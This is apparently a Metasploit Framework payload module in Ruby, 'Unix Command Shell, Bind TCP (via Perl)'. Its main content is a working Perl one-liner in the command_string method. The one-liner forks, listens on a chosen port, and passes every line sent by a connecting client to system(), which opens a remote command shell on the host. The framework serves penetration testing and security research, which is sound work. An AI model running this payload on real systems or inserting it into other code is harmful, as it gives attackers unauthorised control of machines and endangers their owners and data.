##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 240

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Unix Command Shell, Bind TCP (via Perl)',
      'Description'   => 'Listen for a connection and spawn a command shell via perl',
      'Author'        => ['Samy <samy[at]samy.pl>', 'cazz'],
      'License'       => BSD_LICENSE,
      'Platform'      => 'unix',
      'Arch'          => ARCH_CMD,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShell,
      'PayloadType'   => 'cmd',
      'RequiredCmd'   => 'perl',
      'Payload'       =>
        {
          'Offsets' => { },
          'Payload' => ''
        }
      ))
  end

  #
  # Constructs the payload
  #
  def generate
    return super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
     cmd = "perl -MIO -e '$p=fork();exit,if$p;foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){if($_=~ /(.*)/){system $1;}};'"
    return cmd
  end
end